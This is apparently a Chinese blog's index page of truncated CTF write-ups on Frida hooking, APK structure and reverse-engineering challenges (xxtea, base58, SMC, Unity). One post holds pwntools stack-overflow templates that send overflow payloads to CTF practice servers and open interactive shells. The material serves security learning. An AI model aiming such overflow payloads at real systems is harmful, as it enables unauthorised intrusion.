Frida练习——Frida-labs
Frida 练习——Frida-labs这个项目可以从看 frida 相关视频过渡到实战,没有 ctf 这么难,感觉不看 frida 相关视频直接打这个练习也行。
项目地址: https://github.com/DERE-ad2001/Frida-Labs/tree/main
frida_0x1从应用的界面看这是要你输入一个数字
查看源代码,很容易的看出这是要你找到这个随机数 i
下面的声明的 obj 是要在 app 界面中输入的数字
然后把存有随机数 i 与输入的数字 obj 传到 check 函数中进行检查
在 check 函数中发现输入的 obj 也就是 check 函数声明的 i2
判断条件是(i*2)+4==i2
所以我们要输入的 obj 应该是随机数 i*2+4
这里有两个解法:
解法一:hook get_random这里我们可以直接 hook 掉 get_random 来查看 get_random 生成的随机数
也可以直接返回一个特定值然后按照计算式输入,但是随机数是在程序初始化生成的,所以要在程序初始化时进行注入。
1frida -U - ...
安卓逆向(一)
安卓逆向一、静态初识1.环境安装,直接看正己师傅的52教程就行,面具部分需要Kitsune Mask 直通链接
2.认识Apk结构、双开、汉化和基础修改由于这个教程是22年出的,np管理器没有现在好用,所以正己师傅用的mt和np管理器一起用的。
现在np管理器功能和mt基本没什么区别,所以用mt的部分直接用np管理器就行。
Apk结构
文件
注释
assets目录
存放APK静态文件资源的地方,像视频,音频,图片等
lib目录
armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件
META-INF目录
保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否又被修改)
res目录
res目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layoutt文件设计
AndroidManifest.xml文件
APK的应用清单信息,它描述了应用的名字,版本,权限,引用的库文件等等 ...
pwn常用脚本模板
pwn 常用脚本模板栈溢出脚本
(32 位)
12345from pwn import*p = remote("pwn.challenge.ctf.show",28181) #创建一个远程连接,将程序与指定的主机和端口建立起联系payload = b'a'*9 +b'a'*4+p32(0x0804850F) #地址是后门函数所在的函数开始的地址p.sendline(payload) #将构造好的payload发送到远程连接的目标端点p.interactive()
(64 位)
12345from pwn import*p = remote('node5.buuoj.cn',25079)payload = b'a'*15 +b'a'*8+p64(0x401186)p.sendline(payload)p.interactive()
ROP 脚本
1234567from pwn import*p = remote ...
【cnss】新手教程:断点和异常
【cnss】新手教程:断点和异常
打了一下cnss的新生赛,也是学到了点新东西
__debugbreak__debugbreak是个 api 当发生bug的时候要进行跳转进入到处理函数,这个题的关键就在debugbreak的处理函数中
【cnss】新手教程:断点和异常假的flag骗我感情
查看伪代码
跟进base64
发现这根本不是base64就是个异或
但是要注意这个debugbreak,先下个断点
动调
发现跟进不了debugbreak怎么办呢
先跟进上面的key,
然后再跟进byte_40B0478
发现跟进到的另一个函数
这一大串是将真正的密文计算传到cipher
切换到汇编,注意这里有两个反调试
运行完后就会传到cipher,然后结合之前的key写脚本就可以了
123456789101112enc = [0x2A, 0x22, 0x1C, 0x05, 0x1E, 0x32, 0x0D, 0x07, 0x79, 0x53, 0x09, 0x14, 0x2C, 0x61, 0x0B, 0x12, 0x52, 0x6B, 0x45, 0x05, ...
【perl】【buu】[WMCTF2020]easy_re
【perl】【buu】[WMCTF2020]easy_re
也是学到新的东西了
这题经过perl加密过的
查克无壳64位 ida
找了半天没找到一点有用的东西,倒是有几个奇怪字符
后来看了一下其他人的wp发现在字符串不断出现的perl是个提示
perl【看雪perl例题】https://bbs.kanxue.com/thread-67651.htm
00405276 |. 83C4 0C |add esp, 0C00405279 |. 8945 F0 |mov dword ptr [ebp-10], eax0040527C |. 85C0 |test eax, eax0040527E |. 0F84 83000000 |je 0040530700405284 |. 68 5CCF4000 |push 0040CF5C ; ASCII “script”00405289 |. 50 |push eax0040528A |. 8B03 |mov eax, dword ptr ...
【virtualbox】【buu】 [GKCTF 2021]QQQQT
【buu】 [GKCTF 2021]QQQQT
这题吧,不难,主要是用exeinfope光看是不是upx加壳没仔细看下面的virtualbox了
查壳
看ep是.text实际上这是个 Virtual Box加壳
去找工具EnigmaVBUnpacker脱壳
脱壳后会在文件所在的文件夹中新生成QQQQT_unpacked.exe
用ida打开QQQQT_unpacked.exe
通过string找到密文
跟进
疑似是base58
【buu】【另一种抽象的xxtea】[2019红帽杯]xx
【buu】【另一种抽象的xxtea】[2019红帽杯]xxb题看了一整天,总算是看明白了TMD
查克无壳64位,拖入ida
发现一很大一坨代码,慢慢分析吧
有个输入函数和v6
这里的v6后面的Code不是上面要输入Code,跟进发现是另外的一串字符
这里也是要吐槽煞笔ida伪代码的反编译的表达形式
*(v9 + Code - v5)表示的code[v9-v5]
这v13是检测v6的长度
if语句是遍历检测输入的字符是否在v6的范围内,是的话就跳出循环,
如果有不属于v6的字符存在v11就会累加到36
v14这一小段也是检测v6长度
当有不属于v6的字符存在时就会退出
v9 - v5 < 4表达的是这一段代码只截取输入的前四个字符
这里v3搞错了应该是19,这里的code是输入
v30动调出来的是输入的flag的前四个字符
下面的连续的4个 if 表明前四个字符不能是0
首先这个循环是一个密钥扩展,是把输入的flag前四个字母扩展成16位,也就是4个4位的密钥
然后内个sub_7FF7ADD11AB0是比较抽象的xxtea加密,具体是用一个插件FindCrypt和结 ...
【buu】[GXYCTF2019]simple CPP
【buu】[GXYCTF2019]simple CPP
这题主要是分析函数,就是 CPP 反编译后的那一坨有点绕
也是看了别的师傅的 wp 才慢慢理解
这里是动调后才知道这个函数是输入,把函数名字更改更好理解
下面的 if 判断语句中的 **v40 - 5 > 25 **已经表明了输入的字符长度不能超过 30
然后是一段意义不明的函数段
接着到了这里
这里也有一些意义不明
动调发现,v41 和 qword_7FF7A0466060 都百年成了 0x1F
所以 v9 的值就是输入的 flag
走完循环后 v10 就变成了 i_will_check_is_debug_or_not
v6 就是输入的 flag 和 v10 进行逐步异或
这也是有点抽象 v43 上面已经说了不能超过 30
而这里给了个 if ( (int)v43 > 30 )和 if ( (int)v43 <= 0 )
否则会前往表示 flag 格式错误的语句
看正确情况下的赋值语句,这里是将输入的 flag 每 8 位分成一组,分别赋值给 v14,v13,v12,v11,这里 v11 ...
【unity逆向】【安卓re】【buu】[MRCTF2020]PixelShooter
【unity逆向】【安卓re】【buu】[MRCTF2020]PixelShooter
这道题是一个安卓的unity小游戏逆向
将下载的题目安装包拖入到jadx中并未发现一些有用的函数
于是就想着是不是libmain.so有相关函数
将libmain拖入到ida中也并未发现有用的函数
想到这是个unity小游戏,于是又把Assembly-CSsharp.dll拖入到ILspy中
查看UserString Heap的字符表发现了flag
【另一种smc】【对于time()与rand的一种处理方法】【buu】[网鼎杯 2020 青龙组]jocker
【另一种smc】【对于time()与rand的一种处理方法】【buu】[网鼎杯 2020 青龙组]jocker
这次的smc不同于之前的那道,这次的smc是有名字的和一定特征解smc函数的
而不是想上次要在一个大段中寻找插入的函数
查壳无壳32,ida
这个栈平衡不会影响程序调试,先不管它
这里的encrypt跟进后是没有伪代码而只有汇编代码,而且汇编代码也是非常的匪夷所思,
但是下面有个186次循环是来解它的变成正确的函数的smc
所以这个题是要动调
回到main在for循环打个断点
由于v7要等于24,所以输入一个长度为24的字符串
然后会在for循环处停下
Destination是把输入的字符串未经处理复制过去
切到汇编界面
这个地方就是smc
进行完循环后会停在左面的块中,这时停下,去解密encrypt与finally
注意找好硬编码 55 89 ,这里会有两端函数,encrypt下面就是finally
这里要解密2个函数
然后进入encrypt
这里是要要让输入的字符和buffer进行异或等于403040
写个脚本:
1234567str = 'hahah ...